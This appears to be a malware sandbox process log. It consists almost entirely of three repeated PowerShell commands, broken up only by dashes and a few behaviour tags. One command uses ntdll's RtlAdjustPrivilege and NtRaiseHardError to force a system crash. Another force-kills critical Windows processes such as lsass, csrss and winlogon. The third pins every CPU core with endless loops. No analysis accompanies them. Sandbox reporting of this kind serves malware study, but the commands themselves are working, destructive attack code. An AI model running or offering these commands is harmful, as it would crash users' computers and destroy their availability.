C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
